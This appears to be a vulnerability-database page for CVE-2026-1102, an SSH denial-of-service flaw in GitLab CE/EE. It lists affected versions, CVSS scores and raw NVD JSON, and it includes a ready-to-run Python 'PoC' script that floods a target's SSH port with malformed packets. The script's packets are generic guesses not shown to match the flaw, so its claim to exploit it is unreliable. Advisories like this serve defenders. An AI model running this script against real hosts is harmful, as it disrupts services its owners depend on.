Security Vulnerability Report
中文
CVE-2026-1102 CVSS 5.3 MEDIUM

CVE-2026-1102

Published: 2026-01-22 15:16:50
Last Modified: 2026-01-26 21:09:33

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.3 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that could have allowed an unauthenticated user to create a denial of service condition by sending repeated malformed SSH authentication requests.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE >= 12.3 且 < 18.6.4
GitLab CE/EE 18.7.x 且 < 18.7.2
GitLab CE/EE 18.8.x 且 < 18.8.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-1102 PoC - GitLab SSH DoS Note: This is for educational and authorized testing purposes only. Unauthorized use against systems you don't own is illegal. """ import socket import time import sys def send_malformed_ssh_packet(sock, malformed_data): """Send a malformed SSH packet to trigger the vulnerability""" try: sock.send(malformed_data) response = sock.recv(1024) return response except Exception as e: print(f"Error sending packet: {e}") return None def exploit_gitlab_ssh_dos(target_host, target_port=22, num_requests=100): """ Exploit CVE-2026-1102 by sending repeated malformed SSH authentication requests """ print(f"[*] Targeting {target_host}:{target_port}") print(f"[*] Sending {num_requests} malformed SSH packets...") # Malformed SSH packet that may trigger the vulnerability # SSH protocol version exchange string with invalid characters malformed_packets = [ b'SSH-2.0-OpenSSH_8.9\r\n' + b'\x00' * 1000, # Oversized banner b'SSH-2.0-\xfe\xfe\xfe\xfe\r\n', # Invalid version string b'SSH-2.0-' + b'A' * 5000 + b'\r\n', # Very long version string b'\x00' * 500, # Null bytes only b'SSH-2.0-\n\r\n', # Newline injection ] success_count = 0 for i in range(num_requests): try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_host, target_port)) # Select malformed packet packet = malformed_packets[i % len(malformed_packets)] response = send_malformed_ssh_packet(sock, packet) if response: success_count += 1 print(f"[+] Packet {i+1}/{num_requests} sent successfully") sock.close() time.sleep(0.1) # Small delay between requests except socket.error as e: print(f"[!] Connection error on packet {i+1}: {e}") print(f"\n[*] Attack completed. {success_count}/{num_requests} packets sent.") print(f"[*] Check if GitLab SSH service is still responsive.") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <target_ip> [port] [num_requests]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 22 num_req = int(sys.argv[3]) if len(sys.argv) > 3 else 100 exploit_gitlab_ssh_dos(target, port, num_req)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-1102", "sourceIdentifier": "[email protected]", "published": "2026-01-22T15:16:50.227", "lastModified": "2026-01-26T21:09:33.443", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 12.3 before 18.6.4, 18.7 before 18.7.2, and 18.8 before 18.8.2 that could have allowed an unauthenticated user to create a denial of service condition by sending repeated malformed SSH authentication requests."}, {"lang": "es", "value": "GitLab ha remediado un problema en GitLab CE/EE que afecta a todas las versiones desde la 12.3 anterior a la 18.6.4, la 18.7 anterior a la 18.7.2, y la 18.8 anterior a la 18.8.2 que podría haber permitido a un usuario no autenticado crear una condición de denegación de servicio enviando repetidas solicitudes de autenticación SSH malformadas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "12.3.0", "versionEndExcluding": "18.6.4", "matchCriteriaId": "D2396DAD-8F31-4CD8-83AB-B8B862BAB422"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "12.3.0", "versionEndExcluding": "18.6.4", "matchCriteriaId": "48A3D878-F753-4137-8CAB-8CD570DC000D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.7.0", "versionEndExcluding": "18.7.2", "matchCriteriaId": "7E36C974-4A52-424A-8758-E45B750C013E"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.7.0", "versionEndExcluding": "18.7.2", "matchCriteriaId": "F71560B5-1000-45F1-8A5C-078D6C3D03E6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.8.0", "versionEndExcluding": "18.8.2", "matchCriteriaId": "582D13A9-DEEE-4E3F-BFC5-61F270C99B86"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.8.0", "versionEndExcluding": "18.8.2", "matchCriteriaId": "760BBB79-D5BD-4871-8522-3C2C7E65767B"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2026/01/21/patch-release-gitlab-18-8-2-released/", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/579746", "source": "[email protected]", "tags": ["Broken Link"]}]}}